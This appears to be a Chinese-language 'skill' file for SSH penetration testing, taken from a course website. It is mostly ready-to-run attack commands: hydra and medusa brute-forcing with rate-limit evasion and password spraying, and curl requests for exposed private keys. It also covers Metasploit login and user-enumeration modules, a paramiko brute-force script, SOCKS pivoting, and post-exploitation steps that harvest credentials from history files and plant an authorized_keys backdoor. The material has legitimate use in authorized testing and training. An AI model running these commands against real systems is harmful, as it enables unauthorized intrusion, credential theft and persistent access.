此技能用于用户请求对SSH服务进行渗透测试、枚举SSH配置、暴力破解SSH凭证、利用SSH漏洞时
SSH 穿透测试 用途 进行SSH 综合安全评估,包括查点、证书攻击、脆弱性开发、隧道技术以及勘探后技术是一项面向实际任务的技能。它将相关步骤、工具调用和结果整理方式集中到统一流程中,帮助使用者更快完成目标并减少重复操作。
实际使用前应先确认任务范围、数据来源、运行环境、必要权限和关键参数,再依据技能说明逐步执行;若输入条件不完整,应先补齐信息或采用保守配置,避免因错误假设导致结果偏离需求。
执行过程中需要关注工具调用是否成功、接口或依赖是否可用、输出格式是否符合预期,并对异常提示、缺失字段和边界情况进行处理;涉及批量任务时,还应保存进度,避免中断后重复操作。
开展全面的 SSH 安全评估,涵盖服务发现与枚举、凭证攻击、漏洞利用、隧道技术以及渗透后活动。本技能覆盖针对 SSH 服务安全性的完整测试方法论。
在目标网络中识别 SSH 服务:
# 快速扫描 SSH 端口 nmap -p 22 192.168.1.0/24 --open # 常见非标准 SSH 端口 nmap -p 22,2222,22222,2200 192.168.1.100 # 全端口扫描并过滤 SSH nmap -p- --open 192.168.1.100 | grep -i ssh # 服务版本探测 nmap -sV -p 22 192.168.1.100
收集 SSH 服务的详细信息:
# Banner 抓取 nc 192.168.1.100 22 # 输出示例:SSH-2.0-OpenSSH_8.4p1 Debian-5 # Telnet 方式抓取 Banner telnet 192.168.1.100 22 # 使用 Nmap 脚本探测版本及主机密钥 nmap -sV -p 22 --script ssh-hostkey 192.168.1.100 # 枚举支持的算法 nmap -p 22 --script ssh2-enum-algos 192.168.1.100 # 获取主机密钥(完整输出) nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100 # 检查支持的身份验证方式 nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100
识别配置弱点:
# ssh-audit —— 全面 SSH 配置审计 ssh-audit 192.168.1.100 # 指定端口进行审计 ssh-audit -p 2222 192.168.1.100 # 输出内容包括: # - 算法使用建议 # - 已知安全漏洞 # - 加固建议
需重点关注的配置弱点:
# 单用户名 + 密码字典 hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 # 用户名列表 + 单密码 hydra -L users.txt -p Password123 ssh://192.168.1.100 # 用户名与密码双字典 hydra -L users.txt -P passwords.txt ssh://192.168.1.100 # 指定非标准端口 hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100 # 规避速率限制(慢速攻击) hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100 # 显示详细过程 hydra -l admin -P passwords.txt -vV ssh://192.168.1.100 # 首次成功即退出 hydra -l admin -P passwords.txt -f ssh://192.168.1.100
# 基础暴力破解 medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh # 批量目标 medusa -H targets.txt -u admin -P passwords.txt -M ssh # 用户名列表 + 密码字典 medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh # 指定端口 medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222
# 对多个用户尝试同一常见密码
hydra -L users.txt -p Summer2024! ssh://192.168.1.100
# 尝试多个常见密码
for pass in "Password123" "Welcome1" "Summer2024!"; do
hydra -L users.txt -p "$pass" ssh://192.168.1.100
done
检测弱密钥或泄露密钥:
# 使用发现的私钥尝试登录
ssh -i id_rsa user@192.168.1.100
# 显式指定私钥(绕过 SSH Agent)
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100
# 强制使用密码认证(禁用密钥)
ssh -o PreferredAuthentications=password user@192.168.1.100
# 尝试常见密钥文件名
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
ssh -i "$key" user@192.168.1.100
done
检查是否暴露了私钥:
# 私钥常见存储路径 ~/.ssh/id_rsa ~/.ssh/id_dsa ~/.ssh/id_ecdsa ~/.ssh/id_ed25519 /etc/ssh/ssh_host_*_key /root/.ssh/ /home/*/.ssh/ # Web 可访问密钥(使用 curl/wget 检查) curl -s http://target.com/.ssh/id_rsa curl -s http://target.com/id_rsa curl -s http://target.com/backup/ssh_keys.tar.gz
搜索已知漏洞:
# 搜索 Exploit searchsploit openssh searchsploit openssh 7.2 # 常见 SSH 相关漏洞 # CVE-2018-15473 —— 用户名枚举漏洞 # CVE-2016-0777 —— Roaming 功能漏洞 # CVE-2016-0778 —— 缓冲区溢出漏洞 # Metasploit 中的版本探测模块 msfconsole use auxiliary/scanner/ssh/ssh_version set RHOSTS 192.168.1.100 run # 用户名枚举(CVE-2018-15473) use auxiliary/scanner/ssh/ssh_enumusers set RHOSTS 192.168.1.100 set USER_FILE /usr/share/wordlists/users.txt run
将本地端口映射至远程服务:
# 语法:ssh -L <本地端口>:<远程主机>:<远程端口> user@ssh_server # 通过 SSH 访问内网 Web 服务器 ssh -L 8080:192.168.1.50:80 user@192.168.1.100 # 此后访问 http://localhost:8080 即可 # 访问内网数据库 ssh -L 3306:192.168.1.50:3306 user@192.168.1.100 # 多重转发 ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100
将本地服务暴露至远程网络:
# 语法:ssh -R <远程端口>:<本地主机>:<本地端口> user@ssh_server # 将本地 Web 服务暴露给远程 ssh -R 8080:localhost:80 user@192.168.1.100 # 远程主机可通过 localhost:8080 访问 # 反向 Shell 回调 ssh -R 4444:localhost:4444 user@192.168.1.100
创建 SOCKS 代理以实现网络跳转(Pivoting):
# 在本地 1080 端口启动 SOCKS 代理 ssh -D 1080 user@192.168.1.100 # 配合 proxychains 使用 echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf proxychains nmap -sT -Pn 192.168.1.0/24 # 浏览器配置 # 设置 SOCKS 代理为 localhost:1080
通过多台 SSH 服务器链式连接:
# 经由中间跳板机访问目标
ssh -J user1@jump_host user2@target_host
# 多级跳转
ssh -J user1@jump1,user2@jump2 user3@target
# 使用 SSH 配置文件简化命令
# ~/.ssh/config
Host target
HostName 192.168.2.50
User admin
ProxyJump user@192.168.1.100
获取 SSH 访问权限后的后续操作:
# 检查 sudo 权限 sudo -l # 查找 SSH 密钥文件 find / -name "id_rsa" 2>/dev/null find / -name "id_dsa" 2>/dev/null find / -name "authorized_keys" 2>/dev/null # 检查 SSH 目录 ls -la ~/.ssh/ cat ~/.ssh/known_hosts cat ~/.ssh/authorized_keys # 添加持久化后门(写入公钥) echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys # 提取 SSH 服务配置 cat /etc/ssh/sshd_config # 列出其他用户账户 cat /etc/passwd | grep -v nologin ls /home/ # 检查历史命令中是否包含凭证信息 cat ~/.bash_history | grep -i ssh cat ~/.bash_history | grep -i pass
使用 Python 实现 SSH 自动化任务:
#!/usr/bin/env python3
import paramiko
import sys
def ssh_connect(host, username, password):
"""尝试使用凭证建立 SSH 连接"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(host, username=username, password=password, timeout=5)
print(f"[+] 成功: {username}:{password}")
return client
except paramiko.AuthenticationException:
print(f"[-] 失败: {username}:{password}")
return None
except Exception as e:
print(f"[!] 错误: {e}")
return None
def execute_command(client, command):
"""通过 SSH 执行命令"""
stdin, stdout, stderr = client.exec_command(command)
output = stdout.read().decode()
errors = stderr.read().decode()
return output, errors
def ssh_brute_force(host, username, wordlist):
"""使用字典对 SSH 进行暴力破解"""
with open(wordlist, 'r') as f:
passwords = f.read().splitlines()
for password in passwords:
client = ssh_connect(host, username, password.strip())
if client:
# 执行渗透后命令
output, _ = execute_command(client, 'id; uname -a')
print(output)
client.close()
return True
return False
# 使用示例
if __name__ == "__main__":
target = "192.168.1.100"
user = "admin"
# 单次凭证验证
client = ssh_connect(target, user, "password123")
if client:
output, _ = execute_command(client, "ls -la")
print(output)
client.close()
使用 Metasploit 进行综合 SSH 测试:
# 启动 Metasploit msfconsole # SSH 版本扫描器 use auxiliary/scanner/ssh/ssh_version set RHOSTS 192.168.1.0/24 run # SSH 登录暴力破解 use auxiliary/scanner/ssh/ssh_login set RHOSTS 192.168.1.100 set USERNAME admin set PASS_FILE /usr/share/wordlists/rockyou.txt set VERBOSE true run # SSH 公钥登录测试 use auxiliary/scanner/ssh/ssh_login_pubkey set RHOSTS 192.168.1.100 set USERNAME admin set KEY_FILE /path/to/id_rsa run # 用户名枚举 use auxiliary/scanner/ssh/ssh_enumusers set RHOSTS 192.168.1.100 set USER_FILE users.txt run # 利用已建立的 SSH 会话进行渗透后操作 sessions -i 1
| 命令 | 用途 |
|---|---|
nc |
Banner 抓取 |
ssh-audit |
配置审计 |
nmap --script ssh* |
运行所有 SSH 相关 NSE 脚本 |
searchsploit openssh |
搜索相关 Exploit |
| 工具 | 命令示例 |
|---|---|
| Hydra | hydra -l user -P pass.txt ssh://host |
| Medusa | medusa -h host -u user -P pass.txt -M ssh |
| Ncrack | ncrack -p 22 --user admin -P pass.txt host |
| Metasploit | use auxiliary/scanner/ssh/ssh_login |
| 类型 | 命令参数 | 典型用途 |
|---|---|---|
| 本地转发(Local) | -L 8080:target:80 |
在本地访问远程服务 |
| 远程转发(Remote) | -R 8080:localhost:80 |
将本地服务暴露至远程网络 |
| 动态转发(Dynamic) | -D 1080 |
建立 SOCKS 代理用于网络跳转 |
| 端口 | 说明 |
|---|---|
| 22 | 标准 SSH 端口 |
| 2222 | 常用替代端口 |
| 22222 | 另一常用替代端口 |
| 830 | NETCONF over SSH |
-t 1 -w 5| 问题 | 解决方案 |
|---|---|
| 连接被拒绝(Connection Refused) | 确认 SSH 服务正在运行;检查防火墙策略;核实端口号;尝试从其他 IP 发起连接 |
| 认证失败(Authentication Failures) | 核对用户名拼写;检查密码策略;确认私钥权限为 600;检查 authorized_keys 文件格式 |
| 隧道无法工作(Tunnel Not Working) | 检查 sshd_config 中 GatewayPorts 和 AllowTcpForwarding 配置项;验证防火墙放行;使用 ssh -v 启用调试输出 |
相关专题
热门下载
相关下载
精品课程
共6课时 | 54.7万人学习
共89课时 | 134.1万人学习
共49课时 | 82.6万人学习
最新文章